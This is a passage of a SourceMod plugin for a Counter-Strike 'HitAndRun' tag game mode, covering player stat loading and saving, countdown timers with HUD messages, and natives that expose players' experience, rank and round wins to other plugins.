  766.     if (ent != -1)FogIndex = ent;
  767.     else
  768.     {
  769.         FogIndex = CreateEntityByName("env_fog_controller");
  770.         DispatchSpawn(FogIndex);
  771.     }
  772.     DoFog();
  773.     AcceptEntityInput(FogIndex, "TurnOff");
  774. }
  775.  
  776. public void GetClientData(int client)
  777. {
  778.     GetClientAuthId(client, AuthId_SteamID64, steam_auth, sizeof(steam_auth));
  779.     GetClientName(client, cName, sizeof(cName));
  780.     Handle hData = CreateKeyValues("players");
  781.     FileToKeyValues(hData, KVPath);
  782.    
  783.     if (KvJumpToKey(hData, steam_auth, true))
  784.     {
  785.         KvSetString(hData, "name", cName);
  786.         KvSetString(hData, "rank", HNR[iLvl[client]][LevelName]);
  787.        
  788.         PlayTime[client] = KvGetNum(hData, "playtime", 0);
  789.         RoundWon[client] = KvGetNum(hData, "roundwins", 0);
  790.         iExp[client] = KvGetNum(hData, "exp", 0);
  791.         iLvl[client] = KvGetNum(hData, "level", 0);
  792.        
  793.         KvRewind(hData);
  794.         KeyValuesToFile(hData, KVPath);
  795.         CloseHandle(hData);
  796.     }
  797. }
  798.  
  799. public void SaveClientData(int client)
  800. {
  801.     GetClientAuthId(client, AuthId_SteamID64, steam_auth, sizeof(steam_auth));
  802.     GetClientName(client, cName, sizeof(cName));
  803.     Handle hData = CreateKeyValues("players");
  804.     FileToKeyValues(hData, KVPath);
  805.    
  806.     if (KvJumpToKey(hData, steam_auth, true))
  807.     {
  808.         KvSetString(hData, "name", cName);
  809.         KvSetString(hData, "rank", HNR[iLvl[client]][LevelName]);
  810.        
  811.         KvSetNum(hData, "playtime", PlayTime[client]);
  812.         KvSetNum(hData, "roundwins", RoundWon[client]);
  813.         KvSetNum(hData, "exp", iExp[client]);
  814.        
  815.         KvRewind(hData);
  816.         KeyValuesToFile(hData, KVPath);
  817.         CloseHandle(hData);
  818.         RoundWon[client] = 0;
  819.         PlayTime[client] = 0;
  820.         iExp[client] = 0;
  821.     }
  822. }
  823.  
  824. public Action StartGameTimer()
  825. {
  826.     if (GetPlayersCount() > 1 && RunTimers == Timer_None)
  827.     {
  828.         sTime = 10;
  829.         Infected = -1;
  830.         RunTimers = Timer_StartGame;
  831.         CreateTimer(1.0, HitAndRunStart, INVALID_HANDLE, TIMER_REPEAT);
  832.     }
  833. }
  834.  
  835. public Action HitAndRunStart(Handle Timer)
  836. {
  837.     if (RunTimers == Timer_StartGame)
  838.     {
  839.         if (sTime == 0)
  840.         {
  841.             RunTimers = Timer_Infection;
  842.             FirstInfection = true;
  843.             InfectPlayers();
  844.             return Plugin_Stop;
  845.         }
  846.         else
  847.         {
  848.             for (int i = 1; i <= MaxClients; i++)
  849.             {
  850.                 if (IsClientInGame(i) && !IsFakeClient(i))
  851.                 {
  852.                     if (GetClientTeam(i) == CS_TEAM_T && !IsPlayerAlive(i))CS_RespawnPlayer(i);
  853.                     SetHudTextParams(0.3, 0.150, 1.0, 255, 215, 0, 255, 1, 0.1, 0.1, 0.1);
  854.                     ShowHudText(i, 6, "The HitAndRun Game Will Start in %d", sTime)
  855.                 }
  856.             }
  857.             sTime--;
  858.         }
  859.     }
  860.     return Plugin_Continue;
  861. }
  862.  
  863. public Action Timer_Class()
  864. {
  865.     gTime = GetEngineTime();
  866.     RunTimers = Timer_Infection;
  867.     CreateTimer(0.01, Timer_HNR, INVALID_HANDLE, TIMER_REPEAT);
  868. }
  869.  
  870. public Action Timer_HNR(Handle Timer)
  871. {
  872.     if (RunTimers == Timer_Infection)
  873.     {
  874.         if ((GetEngineTime() - gTime) > 20.0)
  875.         {
  876.             InfectPlayers();
  877.             return Plugin_Stop;
  878.         }
  879.         else
  880.         {
  881.             for (int i = 1; i <= MaxClients; i++)
  882.             {
  883.                 if (IsClientInGame(i) && !IsFakeClient(i))
  884.                 {
  885.                     SetHudTextParams(0.45, 0.800, 1.0, 0, 76, 255, 220, 1, 0.1, 0.1, 0.1);
  886.                     if ((GetEngineTime() - gTime) > 11.0)ClientCommand(i, "play *%s", ClockSound);
  887.                     ShowHudText(i, 6, "[Time Left: %.1f]\n[Last Hit: %N]", (gTime + 20.0) - GetEngineTime(), Infected)
  888.                     //PrintHintTextToAll("<big><b><font color='#15fb00'>       Time Left:</font> %.1f\n<font color='#00CCFF'>%N is The Infected!</font>", (gTime + 20.0) - GetEngineTime(), Infected);
  889.                 }
  890.             }
  891.         }
  892.     }
  893.     return Plugin_Continue;
  894. }
  895.  
  896. public APLRes AskPluginLoad2(Handle myself, bool late, char[] error, int err_max)
  897. {
  898.     CreateNative("BHNR_GetEXP", Native_GetEXP);
  899.     CreateNative("BHNR_GetInfected", Native_GetInfected);
  900.     CreateNative("BHNR_GetRoundWins", Native_GetRoundWins);
  901.     CreateNative("BHNR_GetRank", Native_GetRank);
  902.     CreateNative("BHNR_GetLevelID", Native_GetLevelID);
  903.     CreateNative("BHNR_SetLevelID", Native_SetLevelID);
  904.     CreateNative("BHNR_GiveRoundWins", Native_GiveRoundWins);
  905.    
  906.     RegPluginLibrary("HitAndRun");
  907.     return APLRes_Success;
  908. }
  909.  
  910. public int Native_GetEXP(Handle plugin, int numParams)
  911. {
  912.     int client = GetNativeCell(1);
  913.     return iExp[client];
  914. }
  915.  
  916. public int Native_GetInfected(Handle plugin, int numParams)
  917. {
  918.     return Infected;
  919. }
  920.  
  921. public int Native_GetRoundWins(Handle plugin, int numParams)
  922. {
  923.     int client = GetNativeCell(1);
  924.     return RoundWon[client];
  925. }
  926.  
  927. public int Native_GetRank(Handle plugin, int numParams)
  928. {
  929.     int client = GetNativeCell(1);
  930.     return HNR[iLvl[client]][LevelName];
  931. }
  932.  
  933. public int Native_GetLevelID(Handle plugin, int numParams)
  934. {
  935.     int client = GetNativeCell(1);
  936.     return iLvl[client];
  937. }
  938.  
  939. public int Native_SetLevelID(Handle plugin, int numParams)
  940. {
  941.     int client = GetNativeCell(1);
  942.     int number = GetNativeCell(2);
  943.     iLvl[client] = number;
  944. }
  945.  
  946. public int Native_GiveRoundWins(Handle plugin, int numParams)
  947. {
  948.     int client = GetNativeCell(1);
  949.     int number = GetNativeCell(2);
  950.     RoundWon[client] += number;
  951. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement